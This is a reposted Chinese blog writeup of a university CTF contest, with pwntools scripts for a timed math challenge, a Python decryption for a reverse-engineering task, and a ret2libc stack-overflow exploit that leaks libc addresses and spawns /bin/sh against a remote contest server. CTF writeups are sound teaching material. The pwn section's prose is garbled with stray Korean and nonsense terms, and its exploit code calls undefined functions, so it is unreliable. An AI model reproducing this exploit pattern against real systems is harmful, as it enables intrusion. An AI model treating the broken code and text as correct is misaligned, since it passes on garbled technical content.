博客
关于我
广东外语外贸大学第三届网络安全大赛Writeup
阅读量:550 次
发布时间:2019-03-09

本文共 1775 字,大约阅读时间需要 5 分钟。

广东外语外贸大学第三届网络安全大赛 Writeup

Msic

题目描述:这是一个基于数学计算的简单题目,系统会要求回答150个计算题,每个题目都有严格的作答时间限制。解决方法是通过脚本自动化操作。

解决方法

from pwn import *context.log_level = 'debug'p = remote("183.129.189.60", 10034)n = 0while n < 150:    p.recvuntil("Math problem: ")    math = p.recvuntil("=")[:-2]    p.sendline(str(eval(math)))    sleep(1)    n += 1else:    p.sendline("cat flag")

RE

题目描述:这是一个涉及 Python 反编译的题目。通过反编译工具可以获取原始代码。

解密思路

反编译工具(如 Easy Python Decompiler)可以帮助我们解密加密的 Python 源码。源码中的算法主要包含两个部分:

  • 加密算法

    num = ((input1[i] + i) % 128 + 128) % 128
    简化为:
    (input1[i] + i) % 128

  • 解密算法

    通过逆向操作,从尾部到头部对列表进行异或操作可以恢复原字符串。

  • 最终解密代码

    a = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13']l = len(a)la = map(ord, a)for i in range(l-1, 0, -1):    a[i-1] = a[i-1] ^ a[i]code = ''for i in range(l):    num = (a[i] - i) % 128    code += chr(num)print(code)

    Pwn

    题目描述:这是一个简单的栈溢出题目。漏洞点在于溢出变量的大小,需要找到合适的yz为平台搭建攻击。

    解决方法

    通过 신중地 构造 I 字符串,覆写 EIP 地址,最终触发 ïþ模式。通过 GDB attache 能够 debugger 求出 PERSYSTEMHERE 地址,并通过构造 payload trigger /bin/sh 命令。

    最终EXP

    # coding:utf-8from pwn import *context.log_level = 'debug'elf = ELF('./easy_pwn')local = 0if local:    p = process('./easy_pwn')    libc = elf.libcelse:    p = remote("183.129.189.60", "10025")    libc = ELF('./libc6-i386_2.23.so')main = 0x80492F5def sda(a, s):    return p.sendafter(a, s)def sla(a, s):    return p.sendlineafter(a, s)def rc(s):    return p.recv(s)def ru(s):    return p.recvuntil(s)pay = 'I' * 0x10pay += p32(elf.plt['puts']) + p32(main) + p32(elf.got['puts'])sl(pay)ru('\n')puts_addr = u32(rc(4))libc_base = puts_addr - libc.symbols['puts']system = libc_base + libc.symbols['system']binsh = libc_base + libc.search("/bin/sh\x00").next()harray();sla(pay)p.interactive()

    转载地址:http://rlppz.baihongyu.com/

    你可能感兴趣的文章
    ASP.NET MVC Action Filters
    查看>>
    Windows SharePoint Services 3.0 Service Pack 2
    查看>>
    Powershell中禁止执行脚本解决办法
    查看>>
    HTTP协议状态码详解(HTTP Status Code)
    查看>>
    OO_Unit2 多线程电梯总结
    查看>>
    git clone 出现fatal: unable to access ‘https://github 错误解决方法
    查看>>
    04_Mysql配置文件(重要参数)
    查看>>
    python 序列化及其相关模块(json,pickle,shelve,xml)详解
    查看>>
    python 加密算法及其相关模块的学习(hashlib,RSA,random,string,math)
    查看>>
    js编写动态时钟
    查看>>
    JavaSE总结
    查看>>
    手动造轮子——基于.NetCore的RPC框架DotNetCoreRpc
    查看>>
    Python IO编程
    查看>>
    CSS入门总结
    查看>>
    使用 TortoiseGit 时,报 Access denied 错误
    查看>>
    基于 HTML5 WebGL 的污水处理厂泵站自控系统
    查看>>
    [系列] Go gRPC 调试工具
    查看>>
    django-表单之模型表单渲染(六)
    查看>>
    c++之程序流程控制
    查看>>
    一位年轻而优秀的.NET开发者的成长点滴
    查看>>